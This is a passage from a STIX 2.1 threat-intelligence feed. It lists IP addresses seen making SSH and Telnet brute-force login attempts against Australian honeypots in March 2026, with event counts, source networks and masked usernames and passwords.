      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16347. Organisation(s): ADISTA SAS.",
      "id": "indicator--ca7edaaa-a52b-4111-8895-a3aa80442f0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.58.136.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r******z, 3**********4, **, r**t. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, p*********#.",
      "id": "indicator--ad29f677-6883-4887-871a-6aa55666bd86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.203.213.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 132933. Organisation(s): Charotar Telelink Pvt Ltd. Usernames observed (masked): U**r, 3**********4, m***i, p******r, r**t. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, U**r.",
      "id": "indicator--45203e9e-1d06-4132-aaeb-153118d66083",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.120.120.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--681e75f8-f5bb-49f3-9e1c-7b82a09faa91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--af16145e-86c9-4fd0-bf81-9610c42f0556",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.245.87.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 105. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): e****d, 3**********4, c**y, m***i, m****i. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, E*******3.",
      "id": "indicator--8ee0b365-5aa2-4058-b277-76f9f26e0b1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.15.148.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): ***, 3**********4, ***, c******m, p******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, a*****s, c******m.",
      "id": "indicator--8bca9b7a-8634-4a93-8a48-bee3ad3b459c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.83.46.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): 3**********4, R******R, c*******e, o***t, o**********r. Passwords observed (masked): 3***********4, 3**********4, C*********3, a***n, c*******e.",
      "id": "indicator--ee177c33-da3b-49a0-91c5-2a47a2144064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.167.227.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 57269. Organisation(s): Digi Spain Telecom S.A. Usernames observed (masked): c******m, 3**********4, ***, ***, p******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, a*****s, c******m.",
      "id": "indicator--4aa8a4cb-a96b-440b-b063-e099474146c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.112.126.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 6878. Organisation(s): T-Systems International GmbH. Usernames observed (masked): m***i, 3**********4, m****i, ***. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, M********!.",
      "id": "indicator--e08e27db-9fdd-419d-82c1-89a7a69b5399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.158.109.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc. Usernames observed (masked): r******z, 3**********4, n**e, r**t. Passwords observed (masked): 1******8, 3***********4, 3**********4, n******!, p*********#.",
      "id": "indicator--a6daae1f-012b-427f-9ca5-c8912c2a4a24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.111.76.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T08:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 240. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): 3**********4, R******R, o***t, c*******e, o**********r. Passwords observed (masked): 3**********4, 3***********4, C*********3, a***n, c*******e.",
      "id": "indicator--02f764d8-101d-48c1-aa01-d57f1a2f7bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T08:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.152.179.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T08:15:10.000Z",
      "valid_until": "2026-04-27T08:15:02.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): v********x, c********r. Passwords observed (masked): 1****6, 3***********4.",
      "id": "indicator--826426ae-0793-4940-bddb-1e00da679e4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.143.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0bf85ba1-f5b0-447e-995d-3e4105fbad43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.232.40.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--4cf88951-7477-4638-afda-851edcdacc9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.224.150.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): s*******s. Passwords observed (masked): s*******s.",
      "id": "indicator--0d5fadba-364f-4dc8-bb64-c144f7b85511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.36.194.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ac3b4f11-49ed-4e0e-9442-15dd8db2726f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.104.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 11290. Organisation(s): Cogeco Connexion inc. Usernames observed (masked): c******r, w***e. Passwords observed (masked): 1****6, c******r.",
      "id": "indicator--ca6d3504-315d-4e87-905a-c91a235c0d32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '140.106.25.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138089. Organisation(s): PT.Global Media Data Prima. Usernames observed (masked): 3**********4, d***h, s*******s, o********r, ***. Passwords observed (masked): 3***********4, 3**********4, d***h, o***********3, ***.",
      "id": "indicator--1a47c3f0-9b6d-4059-aff9-31e5bd4f67dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.20.253.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b428dd04-bde7-45f7-8f32-85b4f3d6fa18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.184.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--1ee6c651-5f66-4bab-82f2-86f918bbb07d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.83.155.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28598. Organisation(s): DB3 SERVICOS DE TELECOMUNICACOES S.A. Usernames observed (masked): ***, 3**********4, c********r, d****v, v********x. Passwords observed (masked): 1****6, 3***********4, 3**********4, d****v, p******d.",
      "id": "indicator--f60112db-d9b5-457c-a20f-3626a6a4a163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.110.238.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): 3**********4, ***, a***n, d***h, s*******s. Passwords observed (masked): 3**********4, 3***********4, a*******4, d***h, ***.",
      "id": "indicator--3b9ff70d-8223-4769-9aae-16f2e6f66385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.205.37.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 208185. Organisation(s): Net Gate Telecom S.R.L.. Usernames observed (masked): h**g. Passwords observed (masked): H******!.",
      "id": "indicator--8e87ceb0-3943-4ae3-aa9c-65328d99605e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.98.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0cca83f8-77c9-49f0-94c1-30e62285c895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.253.246.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, ***, **. Passwords observed (masked): 1****6, 3**********4, j*****!.",
      "id": "indicator--60b48ba7-452a-419d-944e-6fad38919019",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.203.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--e7c30d5b-f2c3-4844-b639-939b11e3fd27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '70.95.164.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): a***n, u**t. Passwords observed (masked): 1****6, a***n, p******d, u**t.",
      "id": "indicator--20fdcd5b-8c3b-4895-8230-00e06d6ba4bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.239.151.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T11:17:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): y***o. Passwords observed (masked): y******3.",
      "id": "indicator--f6e44432-b0eb-4dcb-8d65-f203d3b6654a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T11:17:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.107.145.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T11:17:11.000Z",
      "valid_until": "2026-04-27T11:15:03.000Z"
    },
    {
      "created": "2026-03-26T13:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s**e, 3**********4, a********g, h*******e, o*****y. Passwords observed (masked): 1****6, 3***********4, 3**********4, p******d, s*****3.",
      "id": "indicator--820e4aad-5097-4cdc-b297-20f7a2f29aad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T13:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.31.39.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T13:15:30.000Z",
      "valid_until": "2026-04-27T13:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): s****a, s******2, v***r. Passwords observed (masked): 1**4, S*******3, v***r.",
      "id": "indicator--61f367c3-3199-40c9-a1a3-d60c4962ec23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.22.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--4ac07d16-4d44-439c-9e0d-55ea86930ca7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:15:04.000Z",
      "valid_until": "2026-04-27T16:15:02.000Z"
    },
    {
      "created": "2026-03-26T16:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 4181. Organisation(s): TDS TELECOM.",
      "id": "indicator--45aaad45-2ec0-44e2-a14e-a372013a2a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-26T16:15:04.000Z",
